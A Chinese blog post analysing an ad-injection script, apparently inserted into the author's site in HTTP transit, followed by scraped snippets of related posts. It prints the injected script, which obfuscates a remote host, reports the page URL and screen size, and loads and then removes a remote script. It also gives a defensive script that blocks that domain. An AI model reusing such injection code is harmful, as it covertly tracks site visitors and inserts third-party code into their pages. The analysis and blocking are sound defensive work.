一次屏蔽无良广告的记录

说起网页广告,大多说人应该是深恶痛绝的,以前在别人网站上看到右下角的广告,还以为都是网站自己挂上去的。但是今天,意外发现自己公司网站上也出现了广告,查看浏览器输出的源码,的确是多了一个js引用。但是去服务器上看一下页面源码,是纯净的呀,这大概就说明当数据通过http传输的时候,被拦截和修改了。这就好像,你有个网店,给客户发货的途中,包装上竟被人贴上了小广告,客户就是上帝,我们要顾及上帝的感受!!

(所以我们有理由怀疑:要么某个快递员不负责或做了手脚,要么某个中转点不负责或做了手脚)

网络运营商说绝对不是他们做的,工信部表示也无可奈何。我除了信,还是信了!外求无效,只能自己想办法了!

第一种:

HTTPS应该可以解决。但没用过,安全性要求不高,也就没折腾。

第二种:

通过JS来反抗。毕竟广告植入也是通过JS来做的。

下面就说说JS的方法:

发现了自己网站有广告后,又在其他网站上也有所发现,引用的js也是同一个,源码如下:

提前注意i8.js引用的位置。打开这个i8.js,发现是一段压缩过的、写法奇特的代码,为了好分析,格式化后如下:

(function(d) {
    function $a(p) {
        try {
            var x = d.getElementsByTagName("head")[0];
            var y = x.appendChild($s(p));
            setTimeout(function() {
                x.removeChild(y)
            },
            2000)
        } catch(e) {}
    }
    function $c(n) {
        return d.createElement(n)
    }
    function $s(p) {
        var j = $c("script");
        j.src = p;
        j.async = true;
        j.type = "text/javascript";
        return j
    }
    var amt = 0;
    function $rn() {
        var ww = d.body.clientWidth;
        var hh = d.body.clientHeight;
        var u = {
            j: "ht",
            c: "com.cn",
            q: "tp:",
            m: "b.",
            n: "wdzs",
            d: "i."
        };

        var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;

        var en = escape(window.location.href) + "&a=" + Math.random() + "&w=" + ww + "&h=" + hh;
        if (top == this) {
            if (ww < 300 || hh < 40) {
                amt += 1;
                if (amt < 3) {
                    setTimeout($rn, 1000)
                } else {
                    $a(be + "/fmt8p/m.php?u=" + en)
                }
            } else {
                $a(be + "/fmt8p/?u=" + en)
            }
        }
    }
    setTimeout($rn, 500)
})(document);

有兴趣的同学可以自己分析其思路,其功能就是以容错、重试、判断屏幕大小等逻辑来加载另一个js。这里我们关注两个地方:1、加载哪个js;2、如何加载的那个js。

第一个就是上面加红的代码,其结果是:http://i.wdzsb.com.cn+本页面url+随机参数+屏幕宽高参数。

第二个就是上面加蓝的代码,执行了加入js脚本的操作。

我们知道,js闭包里的东西我们在外部是不容易修改的,(所以这段代码的作者肯定用闭包),但是js运行都在一个宿主环境中,而这里的宿主环境当然是浏览器了,js操作DOM必须要用到浏览器的宿主对象,比如window和document,上面的代码就把document这个宿主对象传入了闭包函数。

那么我们也写一段代码,anti.js的内容:

(function (d) {

    var invalidJSDomain = [];
    invalidJSDomain.push("http://i.wdzsb.com.cn");

    function isValid(src) {
        src = src.toLowerCase();
        for (var i = 0; i < invalidJSDomain.length; i++) {
            if (src.indexOf(invalidJSDomain[i]) > -1) {
                return true;
            }
        }
        return false;
    }

    setTimeout(function () {
        var head = d.getElementsByTagName(‘head‘)[0];
        var orgAppendChild = head.appendChild;
        head.appendChild = function (node) {
            if (node && node.src && isValid(node.src)) {
                console.log(‘fuck you :‘ + node.src);
            } else {
                orgAppendChild.apply(this, arguments);
            }
            return node;
        };
        var orgRemoveChild = head.removeChild;
        head.removeChild = function (node) {
            if (node && node.src && isValid(node.src)) {
                console.log(‘fuck you again :‘ + node.src);
            } else {
                orgRemoveChild.apply(this, arguments);
            }
            return node;
        }

    }, 10);
} (document));

代码的功能就是修改dom元素head对象的appendChild和removeChild,通过判断引用地址,当发现添加或删除的子元素是我们禁止的,那么就fuck一下这个地址。

其实开始的时候,我只修改了appendChild方法,虽然i8.js加载不了其他js了,但是看它的代码,它的意图是加入js引用,等执行过该执行的代码,2秒后还会移除加入的js引用(想毁尸灭迹呢!)。由于加入script元素不成功,移除的时候会报错(子元素不在head里面嘛!),于是把removeChild方法也该了,修改过之后,对其他正常调用是没有影响的,这个很重要。

不采取行动之前,pc网页和手机网页广告如下:

在head里引入anti.js之后(注意:一定是在head里引用,anti.js在加入后10毫秒确保head元素加载完成。好吧,其实是可以head下面引用的,因为i8.js是500毫秒后开始执行它龌龊的操作的 )

想加入的时候,fuck它一下,想移除的时候,fuck它again!~

完!

时间: 2024-10-10 09:36:59

一次屏蔽无良广告的记录的相关文章

屏蔽电信流氓广告造成的诡异的问题--Android WebView 长时间不能加载页面

发现在家里的时候用Android App里的WebView打开网站很慢,会有十几秒甚至更长时间的卡住. 但是在电脑上打开同样的网页却很快. 查找这个问题的过程比较曲折,记录下来. 抓取Android网络数据 为了调试这个问题,首先要抓取Android的网络包数据.开始时,是想用Wireshark来抓包的,但是很麻烦,tcpdump在手机要root权限. 于是转换思路,能不能在Android上设置代理,来抓包? 但是fiddler没有linux版本,于是转用BurpSuite了. 设置Androi

郑州市第七人民医院无良庸医违法行医张申伟 草菅人命

网络搜索关键词:"郑州市第七人民医院无良庸医违法行医张申伟 草菅人命""郑州市第七人民医院医疗事故""实名控告郑州市第七人民医院袁义强". 1.按张伟峰主任的要求做了很普通常规检查后,我女儿心跳呼吸停止成了植物人,并痛苦的离去 2013年9月29日我女儿高雅慧因身体有些不适,在郑州市第七人民医院心外七科住院.(因为我女儿前些日子短暂晕厥过几次,我们怕他再次晕厥,就到附近的七院就诊)住院当天,心外七科主任张伟峰说要给我女儿做导管检查,张伟峰说导管检

屏蔽优酷广告的方法。

屏蔽优酷广告的方法.1. 首先,打开计算机资源管理器.方法是在桌面上直接双击计算机快捷方式,或者在开始菜单中点击计算机按钮,打开资源管理器.2.在资源管理器的地址栏中,输入下面这样一个路径信息.C:\WINDOWS\system32\drivers\etc 你可以在这里复制这个路径,然后粘贴到资源管理器的地址栏里,以防出错.3.在这个文件夹里面,会有一个hosts文件.如果你双击打开这个文件,会出现让你选择打开方式,你选择用记事本打开.4.如果你以前曾经把记事本功能添加进了右键,那么你可以直接在

火狐浏览器屏蔽优酷广告

*/--> pre.src {background-color: Black; color: White;} pre.src {background-color: Black; color: White;} 火狐浏览器屏蔽优酷广告 安装 Adblock plus 右键视频 global setting (全局设置) delete all (全部删除)

手动屏蔽 QQ 图片广告 教程 适用于任何版本

现在很多软件的免费版都是有广告的,这让原本清清爽爽的界面变得乱七八糟,QQ 虽然没有收费版,但是也要开了会员才能去广告.那不开会员如何屏蔽 QQ 广告呢?早在 QQ2009 Beta 版的时候,可以通过删除一些文件让非会员也能实现去广告的目的,可惜从 QQ2009 正式版起增加了文件完整性检查,删除文件会导致 QQ 无法启动,并且要求重新安装. 这里要介绍的方法,其实只要你对 Windows 操作系统稍有了解就可以轻松搞定!当然也不代表以后所有版本都适用.这个方法仅供大家交流讨论,没有别的想法,

无良教程-破解SublimeText3

这教程实际上并不是倡导大伙儿去破解软件然后传播出去以侵犯作者的权益,纯粹是技术分享,如果大伙儿觉得Low了,可立马删除. sublime text是我非常喜欢的一款编辑器,在ubuntu上,之前用的一直是vim,可是用过vim的都知道,相比sublime,总缺少一种如油般润滑的感觉,并且配置起来也稍点麻烦了一点点(其插件的成熟和数量确实让人欣喜,但是sublime也不差了诶~),虽然现在vim在插件管理方面有vundle等等这类优秀的"manager",但编辑器,怎么配置也没法和成熟的

如何屏蔽百度推广广告?

1.屏幕百度搜索的广告,以及新闻.贴吧.知道.音乐.图片.视频.文库等 谷歌浏览器使用插件:点击设置-更多工具-扩展程序-更多扩展程序,然后搜索这个,安装(可能需要FQ) 2.屏蔽百度推广广告 未屏蔽之前 屏蔽之后 方法: 修改C:\Windows\System32\drivers\etc\hosts文件 添加如下 127.0.0.1 cpro.baidu.com 127.0.0.1 bes.baidu.com 127.0.0.1 pos.baidu.com

通过修改hosts屏蔽WinRAR中广告的方法

问题背景 很多同学的电脑上安装了WinRAR解压软件,但是这个软件是付费的,过了40天试用期之后,每次启动软件都会弹出广告,而这些广告也在消耗着大家的校园网流量,所以,仿照Adobe软件破解的方法,我尝试了修改hosts来屏蔽掉这些广告: 操作步骤 首先,要修改hosts,需要获得相关的权限,大家可以把下面的内容复制到记事本里面,然后保存文件名为"Take_ownership.reg",注意文件名后面千万不要加.txt,否则不能运行 Windows Registry Editor Ve

无良斐讯路由器强制推送广告

2017年7月以来,经常发现网页右下被强制插入iframe广告,广告内容多为假借“今日头条.东方头条”的名义,其实内容与其无关. 最初弹出次数较少,不以为然.以为是运营商的DNS劫持.后来愈加频繁,尤其是晚间,每5次访问网页就会被强插1次iframe广告. 多方排查,最终确定为斐讯路由器强制推送广告. 早有耳闻一些国产智能路由器会搜集用户信息,没想到竟然会在不告知用户的情况下,强制插入广告.实在缺德. 我还如何信任你?智能路由. 以下为转载,原文地址:http://www.right.com.c